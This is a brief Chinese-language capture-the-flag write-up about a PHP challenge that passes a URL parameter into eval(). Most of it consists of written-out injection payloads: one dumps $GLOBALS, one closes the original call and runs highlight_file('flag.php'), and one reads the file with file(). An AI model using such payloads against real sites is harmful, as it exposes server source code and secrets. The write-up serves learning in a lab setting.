打开连接
题目有点眼熟,跟我之前写过的题差不多
上面的文章比下面写得更细节
利用eval函数,先查看全局变量有啥
构建payload
url?hello=$GLOBALS
好家伙,没发现有flag,还被嘲讽了
说明flag不是变量,应该就在flag.php里头被注释了
构建Payload
url?hello=);highlight_file('flag.php');var_dump(
拿到flag
既然在文件里头,也可以通过另一种方法,利用函数
构建Payload
url?hello=file('flag.php')
一样拿到flag